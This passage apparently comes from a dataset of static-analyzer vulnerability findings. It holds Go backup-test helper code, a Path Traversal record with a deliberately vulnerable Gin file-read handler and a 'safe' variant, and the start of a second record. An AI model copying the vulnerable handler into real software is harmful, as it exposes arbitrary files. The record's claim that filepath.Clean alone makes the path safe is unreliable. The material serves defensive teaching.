selectors to choose resources\n\t\t\tLabelSelectors: labelSelectors,\n\n\t\t\tSchedulePolicyRef: &api.ObjectRef{\n\t\t\t\tName: schedulePolicyName,\n\t\t\t\tUid: schedulePolicyUID,\n\t\t\t},\n\t\t\tBackupLocationRef: &api.ObjectRef{\n\t\t\t\tName: backupLocationName,\n\t\t\t\tUid: BackupLocationUID,\n\t\t\t},\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = backupDriver.CreateBackupSchedule(ctx, bkpScheduleCreateRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\treturn err\n}\n\n// UpdateScheduledBackup updates the scheduled backup with time interval from global vars\nfunc UpdateScheduledBackup(schedulePolicyName, schedulePolicyUID string, scheduledBackupInterval time.Duration) (err error) {\n\tvar ctx context1.Context\n\n\tStep(fmt.Sprintf(\"Update schedule policy %s\", schedulePolicyName), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\t// Create a backup schedule\n\t\tschedulePolicyUpdateRequest := &api.SchedulePolicyUpdateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: schedulePolicyName,\n\t\t\t\tUid: schedulePolicyUID,\n\t\t\t\tOrgId: OrgID,\n\t\t\t},\n\n\t\t\tSchedulePolicy: &api.SchedulePolicyInfo{\n\t\t\t\tInterval: &api.SchedulePolicyInfo_IntervalPolicy{\n\t\t\t\t\t// Retain 5 backups at a time for ease of inspection\n\t\t\t\t\tRetain: 5,\n\t\t\t\t\tMinutes: int64(scheduledBackupInterval / time.Minute),\n\t\t\t\t\tIncrementalCount: &api.SchedulePolicyInfo_IncrementalCount{\n\t\t\t\t\t\tCount: 0,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = backupDriver.UpdateSchedulePolicy(ctx, schedulePolicyUpdateRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\treturn err\n}\n\n// DeleteScheduledBackup deletes the scheduled backup and schedule policy from the CreateScheduledBackup\nfunc DeleteScheduledBackup(backupScheduleName, backupScheduleUID, schedulePolicyName, schedulePolicyUID string) (err error) {\n\tvar ctx context1.Context\n\n\tStep(fmt.Sprintf(\"Delete scheduled backup %s of all namespaces on cluster %s in organization %s\",\n\t\tbackupScheduleName, sourceClusterName, OrgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\tbkpScheduleDeleteRequest := &api.BackupScheduleDeleteRequest{\n\t\t\tOrgId: OrgID,\n\t\t\tName: backupScheduleName,\n\t\t\t// delete_backups indicates whether the cloud backup files need to\n\t\t\t// be deleted or retained.\n\t\t\tDeleteBackups: true,\n\t\t\tUid: backupScheduleUID,\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = backupDriver.DeleteBackupSchedule(ctx, bkpScheduleDeleteRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tclusterReq := &api.ClusterInspectRequest{OrgId: OrgID, Name: sourceClusterName, IncludeSecrets: true}\n\t\tclusterResp, err := backupDriver.InspectCluster(ctx, clusterReq)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tclusterObj := clusterResp.GetCluster()\n\n\t\tnamespace := \"*\"\n\t\terr = backupDriver.WaitForBackupScheduleDeletion(ctx, backupScheduleName, namespace, OrgID,\n\t\t\tclusterObj,\n\t\t\tbackupRestoreCompletionTimeoutMin*time.Minute,\n\t\t\tretrySeconds*time.Second)\n\n\t\tschedulePolicyDeleteRequest := &api.SchedulePolicyDeleteRequest{\n\t\t\tOrgId: OrgID,\n\t\t\tName: schedulePolicyName,\n\t\t\tUid: schedulePolicyUID,\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = backupDriver.DeleteSchedulePolicy(ctx, schedulePolicyDeleteRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\treturn err\n}\n\n// InspectScheduledBackup inspects the scheduled backup\nfunc InspectScheduledBackup(backupScheduleName, backupScheduleUID string) (bkpScheduleInspectResponse *api.BackupScheduleInspectResponse, err error) {\n\tvar ctx context1.Context\n\n\tStep(fmt.Sprintf(\"Inspect scheduled backup %s of all namespaces on cluster %s in organization %s\",\n\t\tbackupScheduleNamePrefix, sourceClusterName, OrgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\tbkpScheduleInspectRequest := &api.BackupScheduleInspectRequest{\n\t\t\tOrgId: OrgID,\n\t\t\tName: backupScheduleNamePrefix + backupScheduleName,\n\t\t\tUid: backupScheduleUID,\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tbkpScheduleInspectResponse, err = backupDriver.InspectBackupSchedule(ctx, bkpScheduleInspectRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\treturn bkpScheduleInspectResponse, err\n}\n\n// ObjectExists returns whether err is from an object not being found by a backup api call\nfunc ObjectExists(err error) bool {\n\treturn err != nil && strings.Contains(err.Error(), \"object not found\")\n}\n\n// InspectBackup inspects the backup name passed in\nfunc InspectBackup(backupName string) (bkpInspectResponse *api.BackupInspectResponse, err error) {\n\tvar ctx context1.Context\n\n\tStep(fmt.Sprintf(\"Inspect backup %s in org %s\",\n\t\tbackupName, OrgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\tbkpInspectRequest := &api.BackupInspectRequest{\n\t\t\tOrgId: OrgID,\n\t\t\tName: backupName,\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tbkpInspectResponse, err = backupDriver.InspectBackup(ctx, bkpInspectRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\treturn bkpInspectResponse, err\n}\n\n// WaitForScheduledBackup waits until a new backup is taken from scheduled backup with UID backupScheduleUID\nfunc WaitForScheduledBackup(backupScheduleName string, retryInterval time.Duration, timeout time.Duration) (*api.BackupObject, error) {\n\tbeginTime := time.Now()\n\tbeginTimeSec := beginTime.Unix()\n\n\tt := func() (interface{}, bool, error) {\n\t\tlogrus.Infof(\"Enumerating backups\")\n\t\tbkpEnumerateReq := &api.BackupEnumerateRequest{\n\t\t\tOrgId: OrgID}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn nil, true, err\n\t\t}\n\t\tcurBackups, err := Inst().Backup.EnumerateBackup(ctx, bkpEnumerateReq)\n\t\tif err != nil {\n\t\t\treturn nil, true, err\n\t\t}\n\t\tfor _, bkp := range curBackups.GetBackups() {\n\t\t\tcreateTime := bkp.GetCreateTime()\n\t\t\tif beginTimeSec > createTime.GetSeconds() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif (bkp.GetStatus().GetStatus() == api.BackupInfo_StatusInfo_Success ||\n\t\t\t\tbkp.GetStatus().GetStatus() == api.BackupInfo_StatusInfo_PartialSuccess) &&\n\t\t\t\tbkp.GetBackupSchedule().GetName() == backupScheduleName {\n\t\t\t\treturn bkp, false, nil\n\t\t\t}\n\t\t}\n\t\terr = fmt.Errorf(\"unable to find backup from backup schedule with name %s after time %v\",\n\t\t\tbackupScheduleName, beginTime)\n\t\treturn nil, true, err\n\t}\n\n\tbkpInterface, err := task.DoRetryWithTimeout(t, timeout, retryInterval)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbkp := bkpInterface.(*api.BackupObject)\n\treturn bkp, nil\n\n}\n\n// SetScheduledBackupInterval sets scheduled backup interval\nfunc SetScheduledBackupInterval(interval time.Duration, triggerType string) {\n\tscheduledBackupInterval := interval\n\n\tvar schedulePolicyName string\n\tvar schedulePolicyUID string\n\tif triggerType == BackupScheduleAll {\n\t\tschedulePolicyName = schedulePolicyAllName\n\t\tschedulePolicyUID = schedulePolicyAllUID\n\t\tscheduledBackupAllNamespacesInterval = scheduledBackupInterval\n\t} else {\n\t\tschedulePolicyName = schedulePolicyScaleName\n\t\tschedulePolicyUID = schedulePolicyScaleUID\n\t\tscheduledBackupScaleInterval = scheduledBackupInterval\n\t}\n\t_, err := InspectScheduledBackup(schedulePolicyName, schedulePolicyUID)\n\tif ObjectExists(err) {\n\t\tUpdateScheduledBackup(schedulePolicyName, schedulePolicyUID, scheduledBackupInterval)\n\t}\n}\n\n// DeleteBackup deletes backup\nfunc DeleteBackup(backupName string, orgID string) {\n\tStep(fmt.Sprintf(\"Delete backup [%s] in org [%s]\",\n\t\tbackupName, orgID), func() {\n\n\t\tbackupDriver := Inst().Backup\n\t\tbkpDeleteRequest := &api.BackupDeleteRequest{\n\t\t\tName: backupName,\n\t\t\tOrgId: orgID,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tbackupDriver.DeleteBackup(ctx, bkpDeleteRequest)\n\t\t// Best effort cleanup, dont fail test, if deletion fails\n\t\t//Expect(err).NotTo(HaveOccurred(),\n\t\t//\tfmt.Sprintf(\"Failed to delete backup [%s] in org [%s]\", backupName, orgID))\n\t\t// TODO: validate createClusterResponse also\n\t})\n}\n\n// DeleteBackupAndDependencies deletes backup and dependent backups\nfunc DeleteBackupAndDependencies(backupName string, orgID string, clusterName string) error {\n\tctx, err := backup.GetPxCentralAdminCtx()\n\n\tbackupDeleteRequest := &api.BackupDeleteRequest{\n\t\tName: backupName,\n\t\tOrgId: orgID,\n\t\tCluster: clusterName,\n\t}\n\t_, err = Inst().Backup.DeleteBackup(ctx, backupDeleteRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbackupInspectRequest := &api.BackupInspectRequest{\n\t\tName: backupName,\n\t\tOrgId: orgID,\n\t}\n\tresp, err := Inst().Backup.InspectBackup(ctx, backupInspectRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbackupDelStatus := resp.GetBackup().GetStatus()\n\tif backupDelStatus.GetStatus() == api.BackupInfo_StatusInfo_DeletePending {\n\t\treason := strings.Split(backupDelStatus.GetReason(), \": \")\n\t\tdependency := reason[len(reason)-1]\n\t\terr = DeleteBackupAndDependencies(dependency, orgID, clusterName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr = Inst().Backup.WaitForBackupDeletion(ctx, backupName, orgID, defaultTimeout, defaultRetryInterval)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// DeleteCloudCredential deletes cloud credentials\nfunc DeleteCloudCredential(name string, orgID string, cloudCredUID string) {\n\tStep(fmt.Sprintf(\"Delete cloud credential [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\tcredDeleteRequest := &api.CloudCredentialDeleteRequest{\n\t\t\tName: name,\n\t\t\tOrgId: orgID,\n\t\t\tUid: cloudCredUID,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tbackupDriver.DeleteCloudCredential(ctx, credDeleteRequest)\n\t\t// Best effort cleanup, dont fail test, if deletion fails\n\t\t// Expect(err).NotTo(HaveOccurred(),\n\t\t//\tfmt.Sprintf(\"Failed to delete cloud credential [%s] in org [%s]\", name, orgID))\n\t\t// TODO: validate CreateCloudCredentialResponse also\n\t})\n}\n\n// TODO: There is no delete org API\n/*func DeleteOrganization(orgID string) {\n\tStep(fmt.Sprintf(\"Delete organization [%s]\", orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\treq := &api.Delete{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: orgID,\n\t\t\t},\n\t\t}\n\t\t_, err := backupDriver.Delete(req)\n\t\tExpect(err).NotTo(HaveOccurred())\n\t})\n}*/\n\n//DeleteBucket deletes a bucket given the provider and name\nfunc DeleteBucket(provider string, bucketName string) {\n\tStep(fmt.Sprintf(\"Delete bucket [%s]\", bucketName), func() {\n\t\tswitch provider {\n\t\t// TODO(stgleb): PTX-2359 Add DeleteAzureBucket\n\t\tcase drivers.ProviderAws:\n\t\t\tDeleteS3Bucket(bucketName)\n\t\tcase drivers.ProviderAzure:\n\t\t\tDeleteAzureBucket(bucketName)\n\t\t}\n\t})\n}\n\n//DeleteS3Bucket deletes an S3 bucket\nfunc DeleteS3Bucket(bucketName string) {\n\tid, secret, endpoint, s3Region, disableSSLBool := getAWSDetailsFromEnv()\n\tsess, err := session.NewSession(&aws.Config{\n\t\tEndpoint: aws.String(endpoint),\n\t\tCredentials: credentials.NewStaticCredentials(id, secret, \"\"),\n\t\tRegion: aws.String(s3Region),\n\t\tDisableSSL: aws.Bool(disableSSLBool),\n\t\tS3ForcePathStyle: aws.Bool(true),\n\t},\n\t)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get S3 session to create bucket. Error: [%v]\", err))\n\n\tS3Client := s3.New(sess)\n\n\titer := s3manager.NewDeleteListIterator(S3Client, &s3.ListObjectsInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\n\terr = s3manager.NewBatchDeleteWithClient(S3Client).Delete(aws.BackgroundContext(), iter)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Unable to delete objects from bucket %q, %v\", bucketName, err))\n\n\t_, err = S3Client.DeleteBucket(&s3.DeleteBucketInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to delete bucket [%v]. Error: [%v]\", bucketName, err))\n}\n\n//DeleteAzureBucket deletes an Azure bucket\nfunc DeleteAzureBucket(bucketName string) {\n\t// From the Azure portal, get your Storage account blob service URL endpoint.\n\t_, _, _, _, accountName, accountKey := getAzureCredsFromEnv()\n\n\turlStr := fmt.Sprintf(\"https://%s.blob.core.windows.net/%s\", accountName, bucketName)\n\tlogrus.Infof(\"Delete container url %s\", urlStr)\n\t// Create a ContainerURL object that wraps a soon-to-be-created container's URL and a default pipeline.\n\tu, _ := url.Parse(urlStr)\n\tcredential, err := azblob.NewSharedKeyCredential(accountName, accountKey)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create shared key credential [%v]\", err))\n\n\tcontainerURL := azblob.NewContainerURL(*u, azblob.NewPipeline(credential, azblob.PipelineOptions{}))\n\tctx := context1.Background() // This example uses a never-expiring context\n\n\t_, err = containerURL.Delete(ctx, azblob.ContainerAccessConditions{})\n\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to delete container. Error: [%v]\", err))\n}\n\n// DeleteCluster deletes/de-registers cluster from px-backup\nfunc DeleteCluster(name string, orgID string) {\n\n\tStep(fmt.Sprintf(\"Delete cluster [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\tclusterDeleteReq := &api.ClusterDeleteRequest{\n\t\t\tOrgId: orgID,\n\t\t\tName: name,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tbackupDriver.DeleteCluster(ctx, clusterDeleteReq)\n\t\t// Best effort cleanup, dont fail test, if deletion fails\n\t\t//Expect(err).NotTo(HaveOccurred(),\n\t\t//\tfmt.Sprintf(\"Failed to delete cluster [%s] in org [%s]\", name, orgID))\n\t})\n}\n\n// DeleteRestore deletes a restore\nfunc DeleteRestore(restoreName string, orgID string) {\n\tStep(fmt.Sprintf(\"Delete restore [%s] in org [%s]\",\n\t\trestoreName, orgID), func() {\n\n\t\tbackupDriver := Inst().Backup\n\t\texpect(backupDriver).NotTo(beNil(),\n\t\t\t\"Backup driver is not initialized\")\n\n\t\tdeleteRestoreReq := &api.RestoreDeleteRequest{\n\t\t\tOrgId: orgID,\n\t\t\tName: restoreName,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.DeleteRestore(ctx, deleteRestoreReq)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to delete restore [%s] in org [%s]. Error: [%v]\",\n\t\t\t\trestoreName, orgID, err))\n\t\t// TODO: validate createClusterResponse also\n\t})\n}\n\n// DeleteBackupLocation deletes backuplocation\nfunc DeleteBackupLocation(name string, orgID string) {\n\tStep(fmt.Sprintf(\"Delete backup location [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\tbLocationDeleteReq := &api.BackupLocationDeleteRequest{\n\t\t\tName: name,\n\t\t\tOrgId: orgID,\n\t\t\tDeleteBackups: true,\n\t\t\tUid: BackupLocationUID,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tbackupDriver.DeleteBackupLocation(ctx, bLocationDeleteReq)\n\t\tbackupDriver.WaitForBackupLocationDeletion(ctx, backupLocationName, BackupLocationUID, orgID,\n\t\t\tdefaultTimeout,\n\t\t\tdefaultRetryInterval)\n\t\t// Best effort cleanup, dont fail test, if deletion fails\n\t\t//Expect(err).NotTo(HaveOccurred(),\n\t\t//\tfmt.Sprintf(\"Failed to delete backup location [%s] in org [%s]\", name, orgID))\n\t\t// TODO: validate createBackupLocationResponse also\n\t})\n}\n\n// TearDownBackupRestoreAll enumerates backups and restores before deleting them\nfunc TearDownBackupRestoreAll() {\n\tlogrus.Infof(\"Enumerating scheduled backups\")\n\tbkpScheduleEnumerateReq := &api.BackupScheduleEnumerateRequest{\n\t\tOrgId: OrgID,\n\t\tLabels: make(map[string]string),\n\t\tBackupLocationRef: &api.ObjectRef{\n\t\t\tName: backupLocationName,\n\t\t\tUid: BackupLocationUID,\n\t\t},\n\t}\n\tctx, err := backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred())\n\tenumBkpScheduleResponse, _ := Inst().Backup.EnumerateBackupSchedule(ctx, bkpScheduleEnumerateReq)\n\tbkpSchedules := enumBkpScheduleResponse.GetBackupSchedules()\n\tfor _, bkpSched := range bkpSchedules {\n\t\tschedPol := bkpSched.GetSchedulePolicyRef()\n\t\tDeleteScheduledBackup(bkpSched.GetName(), bkpSched.GetUid(), schedPol.GetName(), schedPol.GetUid())\n\t}\n\n\tlogrus.Infof(\"Enumerating backups\")\n\tbkpEnumerateReq := &api.BackupEnumerateRequest{\n\t\tOrgId: OrgID,\n\t}\n\tctx, err = backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred())\n\tenumBkpResponse, _ := Inst().Backup.EnumerateBackup(ctx, bkpEnumerateReq)\n\tbackups := enumBkpResponse.GetBackups()\n\tfor _, bkp := range backups {\n\t\tDeleteBackup(bkp.GetName(), OrgID)\n\t}\n\n\tlogrus.Infof(\"Enumerating restores\")\n\trestoreEnumerateReq := &api.RestoreEnumerateRequest{\n\t\tOrgId: OrgID}\n\tctx, err = backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred())\n\tenumRestoreResponse, _ := Inst().Backup.EnumerateRestore(ctx, restoreEnumerateReq)\n\trestores := enumRestoreResponse.GetRestores()\n\tfor _, restore := range restores {\n\t\tDeleteRestore(restore.GetName(), OrgID)\n\t}\n\n\tfor _, bkp := range backups {\n\t\tInst().Backup.WaitForBackupDeletion(ctx, bkp.GetName(), OrgID,\n\t\t\tbackupRestoreCompletionTimeoutMin*time.Minute,\n\t\t\tretrySeconds*time.Second)\n\t}\n\tfor _, restore := range restores {\n\t\tInst().Backup.WaitForRestoreDeletion(ctx, restore.GetName(), OrgID,\n\t\t\tbackupRestoreCompletionTimeoutMin*time.Minute,\n\t\t\tretrySeconds*time.Second)\n\t}\n\tprovider := getProvider()\n\tDeleteCluster(destinationClusterName, OrgID)\n\tDeleteCluster(sourceClusterName, OrgID)\n\tDeleteBackupLocation(backupLocationName, OrgID)\n\tDeleteCloudCredential(credName, OrgID, CloudCredUID)\n\tDeleteBucket(provider, BucketName)\n}\n\n//TearDownBackupRestoreSpecific deletes backups and restores specified by name as well as backup location\nfunc TearDownBackupRestoreSpecific(backups []string, restores []string) {\n\tfor _, backupName := range backups {\n\t\tDeleteBackup(backupName, OrgID)\n\t}\n\tfor _, restoreName := range restores {\n\t\tDeleteRestore(restoreName, OrgID)\n\t}\n\tprovider := getProvider()\n\tDeleteCluster(destinationClusterName, OrgID)\n\tDeleteCluster(sourceClusterName, OrgID)\n\tDeleteBackupLocation(backupLocationName, OrgID)\n\tDeleteCloudCredential(credName, OrgID, CloudCredUID)\n\tDeleteBucket(provider, BucketName)\n}\n\n// CreateNamespace creates a new nginx app\nfunc CreateNamespace(appKeys []string) error {\n\tvolumeParams := make(map[string]map[string]string)\n\ttaskName := fmt.Sprintf(\"new-%s-%d\", Inst().InstanceID, newNamespaceCounter)\n\tsourceClusterConfigPath, err := getSourceClusterConfigPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\tSetClusterContext(sourceClusterConfigPath)\n\n\tcontexts, err := Inst().S.Schedule(taskName, scheduler.ScheduleOptions{\n\t\tAppKeys: appKeys,\n\t\tStorageProvisioner: Inst().Provisioner,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Skip volume validation until other volume providers are implemented.\n\tfor _, ctx := range contexts {\n\t\tctx.SkipVolumeValidation = true\n\t}\n\n\tValidateApplications(contexts)\n\tfor _, ctx := range contexts {\n\t\tfor vol, params := range GetVolumeParameters(ctx) {\n\t\t\tvolumeParams[vol] = params\n\t\t}\n\t}\n\n\tSetClusterContext(sourceClusterConfigPath)\n\tcontextsCreated = append(contextsCreated, contexts...)\n\tnewNamespaceCounter++\n\n\treturn nil\n}\n\n// DeleteNamespace tears down the last nginx app\nfunc DeleteNamespace() error {\n\tsourceClusterConfigPath, err := getSourceClusterConfigPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\tSetClusterContext(sourceClusterConfigPath)\n\tif len(contextsCreated) == 0 {\n\t\tlogrus.Infof(\"No namespace to delete\")\n\t\treturn nil\n\t}\n\tTearDownContext(contextsCreated[0], map[string]bool{\n\t\tSkipClusterScopedObjects: true,\n\t\tscheduler.OptionsWaitForResourceLeakCleanup: true,\n\t\tscheduler.OptionsWaitForDestroy: true,\n\t})\n\tcontextsCreated = contextsCreated[1:]\n\n\tSetClusterContext(sourceClusterConfigPath)\n\tnewNamespaceCounter++\n\n\treturn nil\n}\n\n//AddLabelToResource adds a label to a resource and errors if the resource type is not implemented\nfunc AddLabelToResource(spec interface{}, key string, val string) error {\n\tif obj, ok := spec.(*v1.PersistentVolumeClaim); ok {\n\t\tif obj.Labels == nil {\n\t\t\tobj.Labels = make(map[string]string)\n\t\t}\n\t\tlogrus.Infof(\"Adding label [%s=%s] to PVC %s\", key, val, obj.Name)\n\t\tobj.Labels[key] = val\n\t\tcore.Instance().UpdatePersistentVolumeClaim(obj)\n\t\treturn nil\n\t} else if obj, ok := spec.(*v1.ConfigMap); ok {\n\t\tif obj.Labels == nil {\n\t\t\tobj.Labels = make(map[string]string)\n\t\t}\n\t\tlogrus.Infof(\"Adding label [%s=%s] to ConfigMap %s\", key, val, obj.Name)\n\t\tobj.Labels[key] = val\n\t\tcore.Instance().UpdateConfigMap(obj)\n\t\treturn nil\n\t} else if obj, ok := spec.(*v1.Secret); ok {\n\t\tif obj.Labels == nil {\n\t\t\tobj.Labels = make(map[string]string)\n\t\t}\n\t\tlogrus.Infof(\"Adding label [%s=%s] to Secret %s\", key, val, obj.Name)\n\t\tobj.Labels[key] = val\n\t\tcore.Instance().UpdateSecret(obj)\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"Spec is of unknown resource type\")\n}\n\n//DeleteLabelFromResource deletes a label by key from some resource and doesn't error if something doesn't exist\nfunc DeleteLabelFromResource(spec interface{}, key string) {\n\tif obj, ok := spec.(*v1.PersistentVolumeClaim); ok {\n\t\tif obj.Labels != nil {\n\t\t\t_, ok := obj.Labels[key]\n\t\t\tif ok {\n\t\t\t\tlogrus.Infof(\"Deleting label with key [%s] from PVC %s\", key, obj.Name)\n\t\t\t\tdelete(obj.Labels, key)\n\t\t\t\tcore.Instance().UpdatePersistentVolumeClaim(obj)\n\t\t\t}\n\t\t}\n\t} else if obj, ok := spec.(*v1.ConfigMap); ok {\n\t\tif obj.Labels != nil {\n\t\t\t_, ok := obj.Labels[key]\n\t\t\tif ok {\n\t\t\t\tlogrus.Infof(\"Deleting label with key [%s] from ConfigMap %s\", key, obj.Name)\n\t\t\t\tdelete(obj.Labels, key)\n\t\t\t\tcore.Instance().UpdateConfigMap(obj)\n\t\t\t}\n\t\t}\n\t} else if obj, ok := spec.(*v1.Secret); ok {\n\t\tif obj.Labels != nil {\n\t\t\t_, ok := obj.Labels[key]\n\t\t\tif ok {\n\t\t\t\tlogrus.Infof(\"Deleting label with key [%s] from Secret %s\", key, obj.Name)\n\t\t\t\tdelete(obj.Labels, key)\n\t\t\t\tcore.Instance().UpdateSecret(obj)\n\t\t\t}\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 1099, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 1099, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1140, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1140"}}, {"lineNo": 1140, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "4238176253f5ddddcbceacaca0ed52b14565e6f2af23204667a2b65e7019cd67", "license": {"spdx": ["MIT"], "repo": "PlanitarInc/gofakes3", "path": "init_test.go", "repo_head_hexsha": "5c8dfcfe531093a67ba1a41b4bae5296b9ecfd69", "stack_hexsha": "a78fd9febca7c5478b3c5f57dbe2ac500f28047c", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 79, "entireCode": "package gofakes3_test\n\n// Initialisation file for tests in the 'gofakes3_test' package. Integration tests\n// and the like go in this package as we are unable to use backends without the\n// '_test' suffix without causing an import cycle.\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"os\"\n\t\"path\"\n\t\"reflect\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/awserr\"\n\t\"github.com/aws/aws-sdk-go/aws/credentials\"\n\t\"github.com/aws/aws-sdk-go/aws/session\"\n\t\"github.com/aws/aws-sdk-go/service/s3\"\n\t\"github.com/aws/aws-sdk-go/service/s3/s3manager\"\n\t\"github.com/johannesboyne/gofakes3\"\n\t\"github.com/johannesboyne/gofakes3/backend/s3mem\"\n)\n\nconst (\n\tdefaultBucket = \"mybucket\"\n\n\t// docs say MB, client SDK uses MiB, gofakes3 assumes MB as the lowest common denominator\n\t// to accept, but we need to satisfy the client SDK in the test suite so this is MiB:\n\tdefaultUploadPartSize = 5 * 1024 * 1024\n)\n\nvar (\n\tlogFile string\n\n\tdefaultDate = time.Date(2018, 1, 1, 12, 0, 0, 0, time.UTC)\n)\n\nfunc TestMain(m *testing.M) {\n\tif err := runTestMain(m); err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\tcode, ok := err.(errCode)\n\t\tif !ok {\n\t\t\tcode = 1\n\t\t}\n\t\tos.Exit(int(code))\n\t}\n\tos.Exit(0)\n}\n\nfunc runTestMain(m *testing.M) error {\n\tflag.StringVar(&logFile, \"fakes3.log\", \"\", \"Log file (temp file by 